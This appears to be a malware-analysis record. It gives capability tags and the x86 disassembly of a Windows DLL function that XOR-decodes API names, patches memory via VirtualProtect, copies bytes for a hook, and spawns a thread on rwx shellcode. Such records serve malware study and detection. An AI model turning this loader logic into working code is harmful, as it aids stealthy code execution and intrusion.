Function at 0x1000a360
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
mov eax, dword [0x10136864]
xor eax, ebp
mov dword [ebp - 4], eax
sub dword [ebp + 0xc], 1
mov dword [ebp - 0x28], 0
jne 0x1000a5c3
mov eax, dword [ebp + 8]
push 0x94
mov dword [0x101377f8], eax
lea eax, [ebp - 0x104]
push 0
push eax
call fcn.10010280
add esp, 0xc
mov dword [ebp - 0x104], 0x94
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov edx, 0x9b
xor ecx, ecx
mov al, byte [ecx + 0x1002accc]
xor al, dl
mov byte [ebp + ecx - 0x40], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x12
jb 0x1000a3c0
push ebx
push esi
push edi
push 0x44a349c4
lea ecx, [ebp - 0x4c]
mov byte [ebp - 0x2e], 0
call fcn.100020b0
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x40]
push ecx
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push 0
push 0x1e
lea ecx, [ebp - 0x24]
mov word [ebp - 0x44], 0
xorps xmm0, xmm0
mov word [ebp - 0x30], 0
push ecx
push eax
movq qword [ebp - 0x4c], xmm0
movups xmmword [ebp - 0x40], xmm0
mov byte [ebp - 0x2e], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x28]
push eax
push 0x40
push 0x1e
push 0x10006040
call ebx
push 0x1e
lea eax, [ebp - 0x24]
push eax
push 0x10006040
call fcn.1000fd00
add esp, 0xc
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
push 0x1e
push 0x10006040
call ebx
xorps xmm0, xmm0
mov dword [ebp - 0xc], 0
movups xmmword [ebp - 0x24], xmm0
mov edx, 0x54
mov word [ebp - 8], 0
movq qword [ebp - 0x14], xmm0
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + 0x1002acec]
xor al, dl
mov byte [ebp + ecx - 0x64], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x14
jb 0x1000a490
mov byte [ebp - 0x50], 0
mov edx, 0xae
xor ecx, ecx
mov al, byte [ecx + 0x1002ad04]
xor al, dl
mov byte [ebp + ecx - 0x3c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0xe
jb 0x1000a4b3
lea eax, [ebp - 0x64]
mov byte [ebp - 0x2e], 0
push eax
lea eax, [ebp - 0x3c]
push eax
call edi
push eax
call esi
mov esi, eax
mov dword [ebp - 0x34], 0
mov word [ebp - 0x30], 0
xorps xmm0, xmm0
movq qword [ebp - 0x3c], xmm0
mov byte [ebp - 0x2e], 0
mov dword [ebp - 0x54], 0
mov byte [ebp - 0x50], 0
movups xmmword [ebp - 0x64], xmm0
test esi, esi
je 0x1000a5ab
lea eax, [esi + 5]
mov dword [0x101377f0], eax
lea eax, [ebp - 0x28]
push eax
push 0x40
push 5
push 0x100082a0
call ebx
mov eax, dword [esi]
mov ecx, 0x100082a0
mov dword [ecx], eax
mov al, byte [esi + 4]
mov byte [ecx + 4], al
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
push 5
push 0x100082a0
call ebx
push 0x397b478a
lea ecx, [ebp - 0x2c]
call fcn.10002360
push eax
call edi
test eax, eax
jne 0x1000a58a
mov eax, str.2_:1__y_56
lea ecx, [ebp - 0x70]
sub eax, 0x5abdd636
push eax
call fcn.10001ff0
push eax
call edi
test eax, eax
jne 0x1000a58a
push 0x73dc859b
lea ecx, [ebp - 0x4c]
call fcn.10002130
push eax
call edi
test eax, eax
jne 0x1000a58a
mov al, 1
jmp 0x1000a58c
xor al, al
test al, al
je 0x1000a5ab
call fcn.1000b6a0
push 0x101377f4
push 0x10008180
push esi
call fcn.1000b500
push esi
call fcn.1000b680
push 0
push 0
push 0
push 0x10005060
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.1000d74a
mov esp, ebp
pop ebp
ret 0xc